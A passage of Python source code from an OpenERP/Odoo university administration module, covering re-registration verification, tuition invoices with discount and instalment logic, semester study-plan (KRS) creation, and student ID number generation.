verifikasi_daftar_ulang(self,cr,uid,ids,context=None):\n\t\t\n\t\tbyr_obj = self.pool.get('master.pembayaran')\n\t\tusm_obj = self.pool.get('jadwal.usm')\n\t\tsmt_obj = self.pool.get('master.semester')\n\t\t\n\t\tfor partner in self.browse(cr,uid,ids):\n\t\t\tbyr_sch = byr_obj.search(cr,uid,[('tahun_ajaran_id','=',partner.tahun_ajaran_id.id),\n\t\t\t\t('fakultas_id','=',partner.fakultas_id.id),\n\t\t\t\t('prodi_id','=',partner.prodi_id.id),\n\t\t\t\t('state','=','confirm'),\n\t\t\t\t('type_pendaftaran','=',partner.type_pendaftaran)\n\t\t\t\t])\n\n\t\t\tif byr_sch :\n\t\t\t\tsmt_exist = smt_obj.search(cr,uid,[('name','=',1)])\n\t\t\t\tif not smt_exist :\n\t\t\t\t\traise osv.except_osv(_(\"Warning\"),_(\"Tidak ada Semester 1 di master semester !\"))\n\t\t\t\tsmt_1 = smt_obj.browse(cr,uid,smt_exist[0])\n\t\t\t\tbyr_brw = byr_obj.browse(cr,uid,byr_sch[0],context=context)\n\t\t\t\tlist_pembayaran = byr_brw.detail_product_ids\n\t\t\t\tprod_id = []\n\t\t\t\tdiscount = 0\n\t\t\t\tfor bayar in list_pembayaran[:1]:\n\t\t\t\t\tif bayar.semester_id.id == smt_1.id :\n\t\t\t\t\t\tup_uk = bayar.total\n\t\t\t\t\t\t\n\t\t\t\t\t\tproduct = self.pool.get('product.product').browse(cr,uid,bayar.product_ids[0].id)\n\t\t\t\t\t\tcoa_line = product.property_account_income.id\n\t\t\t\t\t\tif not coa_line:\n\t\t\t\t\t\t\tcoa_line = product.categ_id.property_account_income_categ.id\n\t\t\t\t\t\t# if not coa_line :\n\t\t\t\t\t\t# \traise osv.except_osv(_(\"Warning\"),_(\"CoA untuk tahun akademik dan prodi ini belum di set di master uang kuliah !\"))\n\t\t\t\t\t\ttotal_potongan = 0\n\t\t\t\t\t\t#cari potongan\n\t\t\t\t\t\tpot_usm_exist = usm_obj.search(cr,uid,[('date_start','<=',partner.tgl_daftar),('date_end','>=',partner.tgl_daftar)])\n\t\t\t\t\t\tif pot_usm_exist :\n\t\t\t\t\t\t\tpot = usm_obj.browse(cr,uid,pot_usm_exist[0])\n\t\t\t\t\t\t\tdisc_usm \t\t= pot.discount\n\t\t\t\t\t\t\tdisc_tunai \t\t= pot.discount_tunai\n\t\t\t\t\t\t\tdisc_alumni \t= pot.discount_alumni\n\t\t\t\t\t\t\tdisc_lembaga\t= pot.discount_lembaga\n\t\t\t\t\t\t\tdisc_karyawan\t= pot.discount_karyawan\n\t\t\t\t\t\t\tdisc_rank1\t\t= pot.discount_ranking1\n\t\t\t\t\t\t\tdisc_rank2\t\t= pot.discount_ranking2\n\t\t\t\t\t\t\tdisc_rank3\t\t= pot.discount_ranking3\n\t\t\t\t\t\t\tdisc_non_rank\t= pot.discount_non_ranking\n\n\t\t\t\t\t\t\tdiscount = disc_usm+disc_lembaga\n\t\t\t\t\t\t\t# jika calon merupakan alumni satu yayasan\n\t\t\t\t\t\t\tif partner.hubungan == 'cikini':\t\n\t\t\t\t\t\t\t\tif partner.ranking == 1 :\t\n\t\t\t\t\t\t\t\t\tup \t\t= byr_brw.uang_semester\n\t\t\t\t\t\t\t\t\tup_disc = (up*disc_rank1)/100\n\t\t\t\t\t\t\t\t\tnew_up \t= up-up_disc\n\t\t\t\t\t\t\t\telif partner.ranking == 2 :\t\n\t\t\t\t\t\t\t\t\tup \t\t= byr_brw.uang_semester\n\t\t\t\t\t\t\t\t\tup_disc = (up*disc_rank2)/100\n\t\t\t\t\t\t\t\t\tnew_up \t= up-up_disc\n\t\t\t\t\t\t\t\telif partner.ranking == 3 :\n\t\t\t\t\t\t\t\t\tup \t\t= byr_brw.uang_semester\n\t\t\t\t\t\t\t\t\tup_disc = (up*disc_rank3)/100\n\t\t\t\t\t\t\t\t\tnew_up \t= up-up_disc\n\t\t\t\t\t\t\t\telse : \n\t\t\t\t\t\t\t\t\tup \t\t= byr_brw.uang_semester\n\t\t\t\t\t\t\t\t\tup_disc = (up*disc_non_rank)/100\n\t\t\t\t\t\t\t\t\tnew_up \t= up-up_disc\t\t\t\n\t\t\t\t\t\t\t\tup_uk = new_up\n\t\t\t\t\t\t\t\t# diskon di 0 kan karena tidak boleh akumulasi\n\t\t\t\t\t\t\t\tdiscount = 0\n\t\t\t\t\t\t\telif partner.hubungan == 'ortu' :\n\t\t\t\t\t\t\t\tif partner.keluarga_alumni_id :\n\t\t\t\t\t\t\t\t\tdiscount += disc_alumni\n\t\t\t\t\t\t\telif partner.hubungan == 'karyawan' :\n\t\t\t\t\t\t\t\tif partner.karyawan_id :\n\t\t\t\t\t\t\t\t\tdiscount += disc_karyawan\t\n\n\t\t\t\t\t\t\t####################################################################\n\t\t\t\t\t\t\t# tambah logic special price (ignore semua potongan)\n\t\t\t\t\t\t\t####################################################################\n\t\t\t\t\t\t\tif byr_brw.is_special_price :\n\t\t\t\t\t\t\t\tdiscount = 0\n\t\t\t\t\t\t\t\tup_uk = byr_brw.uang_semester\n\t\t\t\t\t\t\t\tprod_id.append((0,0,{'product_id'\t: bayar.product_ids[0].id,\n\t\t\t\t\t\t\t\t\t\t\t\t\t 'name'\t\t\t: bayar.product_ids[0].name,\n\t\t\t\t\t\t\t\t\t\t\t\t\t 'price_unit'\t: up_uk,\n\t\t\t\t\t\t\t\t\t\t\t\t\t 'discount'\t\t: discount,\n\t\t\t\t\t\t\t\t\t\t\t\t\t 'account_id'\t: coa_line}))\n\t\t\t\t\t\t\t\tinv = self.pool.get('account.invoice').create(cr,uid,{\n\t\t\t\t\t\t\t\t\t'partner_id':partner.id,\n\t\t\t\t\t\t\t\t\t'origin': 'UP dan UK '+str(partner.reg),\n\t\t\t\t\t\t\t\t\t'type':'out_invoice',\n\t\t\t\t\t\t\t\t\t'fakultas_id': partner.fakultas_id.id,\n\t\t\t\t\t\t\t\t\t'prod_id': partner.prodi_id.id,\n\t\t\t\t\t\t\t\t\t'date_due':bayar.date1,\n\t\t\t\t\t\t\t\t\t'account_id':partner.property_account_receivable.id,\n\t\t\t\t\t\t\t\t\t'invoice_line': prod_id,\n\t\t\t\t\t\t\t\t\t},context=context)\n\n\t\t\t\t\t\t\t\t#wf_service = netsvc.LocalService('workflow')\n\t\t\t\t\t\t\t\tfrom openerp import workflow\n\t\t\t\t\t\t\t\tworkflow.trg_validate(uid, 'account.invoice', inv, 'invoice_open', cr)\n\t\t\t\t\t\t\t\t#self.pool.get('account.invoice').invoice_validate(cr, uid, [inv], context=context)\t\t\t\t\n\t\t\t\t\t\t\t\tself.write(cr,uid,partner.id,{'invoice_bangunan_id':inv})\n\n\t\t\t\t\t\t\t\t# create notifikasi ke email\n\t\t\t\t\t\t\t\ttemplate_pool = self.pool.get('email.template')\n\t\t\t\t\t\t\t\ttemplate_id = template_pool.search(cr,uid,[('name','=ilike','Uang Pengembangan dan Uang Kuliah ISTN')])\n\t\t\t\t\t\t\t\tif template_id:\n\t\t\t\t\t\t\t\t\tself.pool.get('email.template').send_mail(cr, uid, template_id[0], inv)\n\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\t\t##################################################################################\n\t\t\t\t\t\t\t##################################################################################\t\t\n\n\t\t\t\t\t\t\tif partner.split_invoice == 1 :\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t# create 1 invoice\n\t\t\t\t\t\t\t\tdiscount += disc_tunai\n\t\t\t\t\t\t\t\tprod_id.append((0,0,{'product_id'\t: bayar.product_ids[0].id,\n\t\t\t\t\t\t\t\t\t\t\t\t\t 'name'\t\t\t: bayar.product_ids[0].name,\n\t\t\t\t\t\t\t\t\t\t\t\t\t 'price_unit'\t: up_uk,\n\t\t\t\t\t\t\t\t\t\t\t\t\t 'discount'\t\t: discount,\n\t\t\t\t\t\t\t\t\t\t\t\t\t 'account_id'\t: coa_line}))\n\t\t\t\t\t\t\t\tinv = self.pool.get('account.invoice').create(cr,uid,{\n\t\t\t\t\t\t\t\t\t'partner_id':partner.id,\n\t\t\t\t\t\t\t\t\t'origin': 'UP dan UK '+str(partner.reg),\n\t\t\t\t\t\t\t\t\t'type':'out_invoice',\n\t\t\t\t\t\t\t\t\t'fakultas_id': partner.fakultas_id.id,\n\t\t\t\t\t\t\t\t\t'prod_id': partner.prodi_id.id,\n\t\t\t\t\t\t\t\t\t'date_due':bayar.date1,\n\t\t\t\t\t\t\t\t\t'account_id':partner.property_account_receivable.id,\n\t\t\t\t\t\t\t\t\t'invoice_line': prod_id,\n\t\t\t\t\t\t\t\t\t},context=context)\n\n\t\t\t\t\t\t\t\t#wf_service = netsvc.LocalService('workflow')\n\t\t\t\t\t\t\t\tfrom openerp import workflow\n\t\t\t\t\t\t\t\tworkflow.trg_validate(uid, 'account.invoice', inv, 'invoice_open', cr)\n\t\t\t\t\t\t\t\t#self.pool.get('account.invoice').invoice_validate(cr, uid, [inv], context=context)\t\t\t\t\n\t\t\t\t\t\t\t\tself.write(cr,uid,partner.id,{'invoice_bangunan_id':inv})\n\n\t\t\t\t\t\t\t\t# create notifikasi ke email\n\t\t\t\t\t\t\t\ttemplate_pool = self.pool.get('email.template')\n\t\t\t\t\t\t\t\ttemplate_id = template_pool.search(cr,uid,[('name','=ilike','Uang Pengembangan dan Uang Kuliah ISTN')])\n\t\t\t\t\t\t\t\tif template_id:\n\t\t\t\t\t\t\t\t\tself.pool.get('email.template').send_mail(cr, uid, template_id[0], inv)\n\n\t\t\t\t\t\t\telif partner.split_invoice > 1 :\n\t\t\t\t\t\t\t\tcicil_up_uk = 0\n\t\t\t\t\t\t\t\tif discount > 0 :\n\t\t\t\t\t\t\t\t\tcicil_up_uk = ((up_uk*discount)/100) /partner.split_invoice\n\t\t\t\t\t\t\t\tangske = 1\n\t\t\t\t\t\t\t\t# create invoice (looping sesuai jumlah angsuran)\n\t\t\t\t\t\t\t\t# import pdb;pdb.set_trace()\n\t\t\t\t\t\t\t\tfor angs in range(0,partner.split_invoice):\n\t\t\t\t\t\t\t\t\tupuk = 'UP dan UK '\n\t\t\t\t\t\t\t\t\tif angske == 1 :\n\t\t\t\t\t\t\t\t\t\tprice_unit = round(bayar.angsuran1-cicil_up_uk,0)\n\t\t\t\t\t\t\t\t\t\tdue_date = bayar.date1\n\t\t\t\t\t\t\t\t\t\tdate_invoice = False\n\t\t\t\t\t\t\t\t\telif angske == 2 :\n\t\t\t\t\t\t\t\t\t\tprice_unit = round(bayar.angsuran2-cicil_up_uk,0)\n\t\t\t\t\t\t\t\t\t\tdue_date = bayar.date2\n\t\t\t\t\t\t\t\t\t\tdate_invoice = bayar.date1\n\t\t\t\t\t\t\t\t\telif angske == 3 :\n\t\t\t\t\t\t\t\t\t\tprice_unit = round(bayar.angsuran3-cicil_up_uk,0)\n\t\t\t\t\t\t\t\t\t\tdue_date = bayar.date3\n\t\t\t\t\t\t\t\t\t\tdate_invoice = bayar.date2\n\t\t\t\t\t\t\t\t\telif angske == 4 :\n\t\t\t\t\t\t\t\t\t\tprice_unit = round(bayar.angsuran4-cicil_up_uk,0)\n\t\t\t\t\t\t\t\t\t\tdue_date = bayar.date4\n\t\t\t\t\t\t\t\t\t\tdate_invoice = bayar.date3\n\t\t\t\t\t\t\t\t\telif angske == 5 :\n\t\t\t\t\t\t\t\t\t\tprice_unit = round(bayar.angsuran5-cicil_up_uk,0)\n\t\t\t\t\t\t\t\t\t\tdue_date = bayar.date5\n\t\t\t\t\t\t\t\t\t\tdate_invoice = bayar.date4\n\t\t\t\t\t\t\t\t\telif angske == 6 :\n\t\t\t\t\t\t\t\t\t\tprice_unit = round(bayar.angsuran6-cicil_up_uk,0)\t\t\n\t\t\t\t\t\t\t\t\t\tdue_date = bayar.date6\n\t\t\t\t\t\t\t\t\t\tdate_invoice = bayar.date5\n\t\t\t\t\t\t\t\t\telse :\n\t\t\t\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\t\t\t\tinv = self.pool.get('account.invoice').create(cr,uid,{\n\t\t\t\t\t\t\t\t\t\t\t'partner_id':partner.id,\n\t\t\t\t\t\t\t\t\t\t\t'origin': upuk+str(partner.reg)+' - '+str(angske),\n\t\t\t\t\t\t\t\t\t\t\t'type':'out_invoice',\n\t\t\t\t\t\t\t\t\t\t\t'fakultas_id': partner.fakultas_id.id,\n\t\t\t\t\t\t\t\t\t\t\t'prod_id': partner.prodi_id.id,\n\t\t\t\t\t\t\t\t\t\t\t'account_id':partner.property_account_receivable.id,\n\t\t\t\t\t\t\t\t\t\t\t'date_invoice' : date_invoice,\n\t\t\t\t\t\t\t\t\t\t\t'date_due' : due_date,\n\t\t\t\t\t\t\t\t\t\t\t'invoice_line': [((0,0,{'product_id'\t: bayar.product_ids[0].id,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 'name'\t\t\t: bayar.product_ids[0].name,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 'price_unit'\t: price_unit,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 'discount'\t\t: 0,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 'account_id'\t: coa_line}))],\n\t\t\t\t\t\t\t\t\t\t\t},context=context)\n\t\t\t\t\t\t\t\t\tif angske == 1 :\n\t\t\t\t\t\t\t\t\t\t#wf_service = netsvc.LocalService('workflow')\n\t\t\t\t\t\t\t\t\t\tfrom openerp import workflow\n\t\t\t\t\t\t\t\t\t\tworkflow.trg_validate(uid, 'account.invoice', inv, 'invoice_open', cr)\n\t\t\t\t\t\t\t\t\t\t#self.pool.get('account.invoice').invoice_validate(cr, uid, [inv], context=context)\t\t\t\t\n\t\t\t\t\t\t\t\t\t\tself.write(cr,uid,partner.id,{'invoice_bangunan_id':inv})\n\n\t\t\t\t\t\t\t\t\t\t# create notifikasi ke email\n\t\t\t\t\t\t\t\t\t\ttemplate_pool = self.pool.get('email.template')\n\t\t\t\t\t\t\t\t\t\ttemplate_id = template_pool.search(cr,uid,[('name','=ilike','Uang Pengembangan dan Uang Kuliah ISTN')])\n\t\t\t\t\t\t\t\t\t\tif template_id:\n\t\t\t\t\t\t\t\t\t\t\tself.pool.get('email.template').send_mail(cr, uid, template_id[0], inv)\n\n\t\t\t\t\t\t\t\t\tangske += 1\n\t\t\t\t\t\t\t\n\n\t\treturn True\t\n\n\n\tdef create_krs_smt_1_dan_2(self,cr,uid,ids,context=None):\n\t\tcalon_obj = self.pool.get('res.partner.calon.mhs')\n\t\tbea_obj = self.pool.get('beasiswa.prodi')\n\t\tkurikulum_obj = self.pool.get('master.kurikulum')\n\t\tkrs_obj = self.pool.get('operasional.krs')\n\t\tsmt_obj = self.pool.get('master.semester')\n\t\t#import pdb; pdb.set_trace()\n\t\tfor partner in self.browse(cr,uid,ids):\n\t\t\tt_id = partner.tahun_ajaran_id.date_start\n\t\t\tt_tuple = tuple(t_id)\n\t\t\tt_id_final = t_tuple[2]+t_tuple[3]#ambil 2 digit paling belakang dari tahun saja\n\t\t\tf_id = partner.fakultas_id.kode\t\n\t\t\tp_id = partner.prodi_id.kode\n\t\t\tlokasi = partner.alamat_id.kode\n\t\t\tt_pend = partner.type_pendaftaran\n\n\t\t\tsmt1_exist = smt_obj.search(cr,uid,[('name','=',1)])\n\t\t\tsmt1_id = smt_obj.browse(cr,uid,smt1_exist[0]).id\n\n\t\t\tsmt2_exist = smt_obj.search(cr,uid,[('name','=',2)])\n\t\t\tsmt2_id = smt_obj.browse(cr,uid,smt2_exist[0]).id\n\n\t\t\tif t_pend == 'ganjil' :\n\t\t\t\tpend = '1'\n\t\t\telse:\n\t\t\t\tpend = '2'\n\n\t\t\tif p_id.find(\".\") != -1:\n\t\t\t\tj = p_id.split(\".\")\n\t\t\t\tp_id = j[1]\t\t\t\t\t\n\t\t\t#batas nilai penerima beasiswa\n\t\t\tlimit_bea = 1000 # default nilai besar supaya tidak ada yg lolos\n\t\t\tdata_bea = bea_obj.search(cr,uid,[('is_active','=',True),\n\t\t\t\t\t\t\t\t\t\t\t\t('tahun_ajaran_id','=',partner.tahun_ajaran_id.id),\n\t\t\t\t\t\t\t\t\t\t\t\t('fakultas_id','=',partner.fakultas_id.id),\n\t\t\t\t\t\t\t\t\t\t\t\t('prodi_id','=',partner.prodi_id.id),],context=context)\t\t\t\n\t\t\tif data_bea:\n\t\t\t\tbea_browse=bea_obj.browse(cr,uid,data_bea[0])\n\t\t\t\tif bea_browse.product_id1:\n\t\t\t\t\tlimit_bea = bea_browse.limit_nilai_sma\n\n\t\t\tis_bea = False\n\t\t\tif partner.nilai_beasiswa >= limit_bea:\n\t\t\t\tis_bea = True\n\t\t\tst = partner.status_mahasiswa\n\t\t\tnilai_sma = partner.nilai_beasiswa\n\t\t\tjp_id = partner.jenis_pendaftaran_id.code\n\n\t\t\tse = self.pool.get('ir.sequence').get(cr, uid, 'seq.npm.partner') or '/'\n\n\t\t\t# sql = \"select count(*) from res_partner where jenis_pendaftaran_id=%s and jurusan_id=%s and tahun_ajaran_id=%s\" % (\n\t\t\tsql = \"select count(*) from res_partner where jenis_pendaftaran_id=%s and prodi_id=%s and tahun_ajaran_id=%s and status_mahasiswa='Mahasiswa' \" % (\n\t\t\t\tpartner.jenis_pendaftaran_id.id, \n\t\t\t\tpartner.prodi_id.id, \n\t\t\t\tpartner.tahun_ajaran_id.id)\n\t\t\tcr.execute(sql)\n\t\t\t\n\t\t\thasil = cr.fetchone()\n\t\t\tif hasil and hasil[0] != None:\n\t\t\t\tse = \"%04d\" % (hasil[0] + 1)\n\t\t\telse:\n\t\t\t\tse = \"0001\"\n\n\t\t\tnim = t_id_final +pend+ f_id+p_id +lokasi+ jp_id + se\n\t\t\tself.write(cr,uid,partner.id,{\n\t\t\t\t\t\t\t\t\t\t'status_mahasiswa':'Mahasiswa',\n\t\t\t\t\t\t\t\t\t\t'npm':nim,\n\t\t\t\t\t\t\t\t\t\t'user_id':uid,\n\t\t\t\t\t\t\t\t\t\t'is_beasiswa':is_bea},\n\t\t\t\t\t\t\t\t\t\tcontext=context)\n\n\t\t\t#create data calon yang lulus tersebut ke tabel res.partner.calon.mhs agar ada history terpisah\n\t\t\tcalon_obj.create(cr,uid,{'reg'\t\t\t\t:partner.reg,\n\t\t\t\t\t\t\t\t\t'name'\t\t\t\t:partner.name,\n\t\t\t\t\t\t\t\t\t'jenis_kelamin'\t\t:partner.jenis_kelamin or False,\n\t\t\t\t\t\t\t\t\t'tempat_lahir'\t\t:partner.tempat_lahir or False,\n\t\t\t\t\t\t\t\t\t'tanggal_lahir'\t\t:partner.tanggal_lahir or False, \n\t\t\t\t\t\t\t\t\t'fakultas_id'\t\t:partner.fakultas_id.id,\n\t\t\t\t\t\t\t\t\t'prodi_id'\t\t\t:partner.prodi_id.id,\n\t\t\t\t\t\t\t\t\t'tahun_ajaran_id'\t:partner.tahun_ajaran_id.id, \n\t\t\t\t\t\t\t\t\t'tgl_lulus'\t\t\t:partner.tgl_lulus or False,\n\t\t\t\t\t\t\t\t\t'no_formulir'\t\t:partner.no_formulir or False,\n\t\t\t\t\t\t\t\t\t'tgl_ujian'\t\t\t:partner.tgl_ujian or False,\n\t\t\t\t\t\t\t\t\t'nilai_ujian'\t\t:partner.nilai_ujian or False,\n\t\t\t\t\t\t\t\t\t'batas_nilai'\t\t:0,\n\t\t\t\t\t\t\t\t\t'status_pernikahan'\t:partner.status_pernikahan or False,\n\t\t\t\t\t\t\t\t\t'agama'\t\t\t\t:partner.agama or False,\n\t\t\t\t\t\t\t\t\t'tgl_daftar'\t\t:partner.tgl_daftar or False,\n\t\t\t\t\t\t\t\t\t'nilai_beasiswa'\t:nilai_sma or False,\n\t\t\t\t\t\t\t\t\t'is_beasiswa' \t\t:is_bea,\n\t\t\t\t\t\t\t\t\t'state'\t\t\t\t:'lulus',\n\t\t\t\t\t\t\t\t\t'date_move'\t\t\t:time.strftime(DEFAULT_SERVER_DATETIME_FORMAT),\n\t\t\t\t\t\t\t\t\t'user_id'\t\t\t:uid},\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\tcontext=context)\n\t\t\tkur_sch_smt_1 = kurikulum_obj.search(cr,uid,[('tahun_ajaran_id','=',partner.tahun_ajaran_id.id),\n\t\t\t\t('fakultas_id','=',partner.fakultas_id.id),\n\t\t\t\t('prodi_id','=',partner.prodi_id.id),\n\t\t\t\t('state','=','confirm'),\n\t\t\t\t('semester_id','=',smt1_id),\n\t\t\t\t])\n\t\t\tif kur_sch_smt_1 :\n\t\t\t\t#kur_id = kurikulum_obj.browse(cr,uid,kur_sch_smt_1,context=context)[0].kurikulum_detail_ids\n\t\t\t\tkur_id = kurikulum_obj.browse(cr,uid,kur_sch_smt_1,context=context)[0].mk_kurikulum_detail_ids\n\t\t\t\tmk_kurikulum = []\n\t\t\t\tfor kur in kur_id:\n\t\t\t\t\t#mk_kurikulum.append(kur.id)\n\t\t\t\t\tmk_kurikulum.append((0,0,{'mata_kuliah_id'\t: kur.matakuliah_id.id,'sks':kur.sks, 'state': 'draft'}))\t\n\t\t\t\tkrs_obj.create(cr,uid,{'kode'\t\t\t\t\t: nim+'-1',\n\t\t\t\t\t\t\t\t\t\t\t'partner_id'\t\t: partner.id,\n\t\t\t\t\t\t\t\t\t\t\t'tahun_ajaran_id'\t: partner.tahun_ajaran_id.id,\n\t\t\t\t\t\t\t\t\t\t\t'fakultas_id'\t\t: partner.fakultas_id.id,\n\t\t\t\t\t\t\t\t\t\t\t'prodi_id'\t\t\t: partner.prodi_id.id,\n\t\t\t\t\t\t\t\t\t\t\t'kurikulum_id'\t\t: kur_sch_smt_1[0],\n\t\t\t\t\t\t\t\t\t\t\t'semester_id'\t\t: smt1_id,\n\t\t\t\t\t\t\t\t\t\t\t'kelas_id'\t\t\t: partner.kelas_id.id or False,\n\t\t\t\t\t\t\t\t\t\t\t'user_id'\t\t\t: uid,\n\t\t\t\t\t\t\t\t\t\t\t'konsentrasi_id'\t: partner.konsentrasi_id.id,\n\t\t\t\t\t\t\t\t\t\t\t'state'\t\t\t\t: 'confirm',\n\t\t\t\t\t\t\t\t\t\t\t'krs_detail_ids'\t: mk_kurikulum\n\t\t\t\t\t\t\t\t\t\t\t})\t\n\n\t\t\tkur_sch_smt_2 = kurikulum_obj.search(cr,uid,[('tahun_ajaran_id','=',partner.tahun_ajaran_id.id),\n\t\t\t\t('fakultas_id','=',partner.fakultas_id.id),\n\t\t\t\t('prodi_id','=',partner.prodi_id.id),\n\t\t\t\t('state','=','confirm'),\n\t\t\t\t('semester_id','=',smt2_id),\n\t\t\t\t])\t\t\t\n\t\t\tif kur_sch_smt_2 :\n\t\t\t\t#kur_id = kurikulum_obj.browse(cr,uid,kur_sch_smt_2,context=context)[0].kurikulum_detail_ids\n\t\t\t\tkur_id = kurikulum_obj.browse(cr,uid,kur_sch_smt_2,context=context)[0].mk_kurikulum_detail_ids\n\t\t\t\tmk_kurikulum = []\n\t\t\t\tfor kur in kur_id:\n\t\t\t\t\tmk_kurikulum.append((0,0,{'mata_kuliah_id'\t: kur.matakuliah_id.id,'sks':kur.sks, 'state': 'draft'}))\n\t\t\t\tkrs_obj.create(cr,uid,{'kode'\t\t\t\t: nim+'-2',\n\t\t\t\t\t\t\t\t\t\t'partner_id'\t\t: partner.id,\n\t\t\t\t\t\t\t\t\t\t'tahun_ajaran_id'\t: partner.tahun_ajaran_id.id,\n\t\t\t\t\t\t\t\t\t\t'fakultas_id'\t\t: partner.fakultas_id.id,\n\t\t\t\t\t\t\t\t\t\t'prodi_id'\t\t\t: partner.prodi_id.id,\n\t\t\t\t\t\t\t\t\t\t'kurikulum_id'\t\t: kur_sch_smt_2[0],\n\t\t\t\t\t\t\t\t\t\t'semester_id'\t\t: smt2_id,\n\t\t\t\t\t\t\t\t\t\t'kelas_id'\t\t\t: partner.kelas_id.id or False,\n\t\t\t\t\t\t\t\t\t\t'user_id'\t\t\t: uid,\n\t\t\t\t\t\t\t\t\t\t'konsentrasi_id'\t: partner.konsentrasi_id.id,\n\t\t\t\t\t\t\t\t\t\t#'state'\t\t\t: 'draft',\n\t\t\t\t\t\t\t\t\t\t'krs_detail_ids'\t: mk_kurikulum\n\t\t\t\t\t\t\t\t\t\t})\n\n\n\t@api.multi\n\tdef write(self, vals):\n\t\t# res.partner must only allow to set the company_id of a partner if it\n\t\t# is the same as the company of all users that inherit from this partner\n\t\t# (this is to allow the code from res_users to write to the partner!) or\n\t\t# if setting the company_id to False (this is compatible with any user\n\t\t# company)\n\t\t#\n\t\tif vals.get('website'):\n\t\t\tvals['website'] = self._clean_website(vals['website'])\n\t\tif vals.get('company_id'):\n\t\t\tcompany = self.env['res.company'].browse(vals['company_id'])\n\t\t\tfor partner in self:\n\t\t\t\tif partner.user_ids:\n\t\t\t\t\tcompanies = set(user.company_id for user in partner.user_ids)\n\t\t\t\t\tif len(companies) > 1 or company not in companies:\n\t\t\t\t\t\traise osv.except_osv(_(\"Warning\"),_(\"You can not change the company as the partner/user has multiple user linked with different companies.\"))\n\t\tresult = super(res_partner, self).write(vals)\n\t\t# tambah logic jika update data calon mahasiswa dari web, create inv pendaftaran\n\t\tinv = False\n\t\tif vals.get('status_mahasiswa') :\n\t\t\tif vals.get('status_mahasiswa') == 'calon' :\n\t\t\t\tprodi_obj = self.env['master.prodi']\n\t\t\t\tcoa_prodi = prodi_obj.search([('id','=',vals.get('prodi_id'))]).coa_piutang_id.id,\n\n\t\t\t\tbyr_obj = self.env['master.pembayaran.pendaftaran']\n\t\t\t\tfor partner in self:\n\t\t\t\t\tinv_obj = self.env['account.invoice']\n\t\t\t\t\t# search dulu apa inv pendaftaran untuk partner ini pernah dibuat ?\n\t\t\t\t\tinv_pendf_exist = inv_obj.search([('partner_id','=',partner.id),('origin','ilike','Pendaftaran')])\n\t\t\t\t\tif inv_pendf_exist :\n\t\t\t\t\t\tbreak\n\t\t\t\t\tbyr_sch = byr_obj.search([('tahun_ajaran_id','=',vals.get('tahun_ajaran_id')),\n\t\t\t\t\t\t('prodi_id','=',vals.get('prodi_id')),\n\t\t\t\t\t\t('state','=','confirm'),\n\t\t\t\t\t\t('type_mhs_id','=',vals.get('type_mhs_id')),\n\t\t\t\t\t\t('lokasi_kampus_id','=',vals.get('alamat_id')),\n\t\t\t\t\t\t])\t\n\t\t\t\t\tif not byr_sch:\n\t\t\t\t\t\tbyr_sch = byr_obj.search([('tahun_ajaran_id','=',vals.get('tahun_ajaran_id')),\n\t\t\t\t\t\t\t('prodi_id','=',vals.get('prodi_id')),\n\t\t\t\t\t\t\t('state','=','confirm'),\n\t\t\t\t\t\t\t('lokasi_kampus_id','=',vals.get('alamat_id')),\n\t\t\t\t\t\t\t])\t\n\n\t\t\t\t\tif byr_sch :\n\t\t\t\t\t\tprod_id = []\n\t\t\t\t\t\tfor bayar in byr_sch[0].detail_product_ids:\n\t\t\t\t\t\t\tproduct = bayar.product_id\n\t\t\t\t\t\t\tcoa_line = product.property_account_income.id\n\t\t\t\t\t\t\tif not coa_line:\n\t\t\t\t\t\t\t\tcoa_line = product.categ_id.property_account_income_categ.id\n\n\t\t\t\t\t\t\tprod_id.append((0,0,{'product_id'\t: self.env['product.product'].search([('product_tmpl_id','=',product.id)]).id,\n\t\t\t\t\t\t\t\t\t\t\t\t 'name'\t\t\t: product.name,\n\t\t\t\t\t\t\t\t\t\t\t\t 'price_unit'\t: bayar.public_price,\n\t\t\t\t\t\t\t\t\t\t\t\t 'account_id'\t: coa_line}))\n\t\t\t\t\t\tinv = self.env['account.invoice'].create({\n\t\t\t\t\t\t\t'partner_id':partner.id,\n\t\t\t\t\t\t\t'origin': 'Pendaftaran: '+str(partner.reg),\n\t\t\t\t\t\t\t'type':'out_invoice',\t\t\t\t\t\n\t\t\t\t\t\t\t'fakultas_id': vals.get('fakultas_id'),\n\t\t\t\t\t\t\t'prod_id': vals.get('prodi_id'),\n\t\t\t\t\t\t\t'account_id':coa_prodi,\n\t\t\t\t\t\t\t'invoice_line': prod_id,\n\t\t\t\t\t\t\t})\n\t\t\t\t\t\t#self._cr.commit()\n\t\t\t\t\t\t#wf_service = netsvc.LocalService('workflow')\n\t\t\t\t\t\t#import pdb;pdb.set_trace()\n\t\t\t\t\t\tfrom openerp import workflow\n\t\t\t\t\t\tworkflow.trg_validate(self._uid, 'account.invoice', inv.id, 'invoice_open', self._cr)\n\t\t\t\t\t\tvals.update({'invoice_id':inv.id})\n\t\t\t\t\t\tresult = super(res_partner, self).write(vals)\n\t\t\t\t\t\t\n\t\tfor partner in self:\n\t\t\tself._fields_sync(partner, vals)\n\t\treturn result\n\n\n\tdef action_draft(self,cr,uid,ids,context=None):\n\t\t\t#set to \"draft\" state\n\t\treturn self.write(cr,uid,ids,{'status_mahasiswa':SESSION_STATES[0][0]},context=context)\n\t\t\t\n\tdef action_confirm(self,cr,uid,ids,jurusan_id,context=None):\n\t\tval = self.browse(cr,uid,ids)[0]\n\t\tkod = val.jurusan_id.kode\n\t\tval1 = val.jurusan_id.fakultas_id.kode\n\t\tval2= val.prodi_id.kode\n\t\tnem = self.pool.get('ir.sequence').get(cr, uid, 'res.partner') \n\t\tvals = val1+kod+val2+nem \n\t\treturn self.write(cr,uid,ids,{'status_mahasiswa':SESSION_STATES[1][0],'npm':vals},context=context)\n\t\t\t\n\tdef action_done(self,cr,uid,ids,context=None):\n\t\t\t#set to \"done\" state\n\t\treturn self.write(cr,uid,ids,{'status_mahasiswa':SESSION_STATES[2][0]},context=context) \n\n\t_defaults = {\n\t\t#'is_dosen':False, #(domain = [('status_mahasiswa','=','calon')]),\n\t\t'status_mahasiswa' : 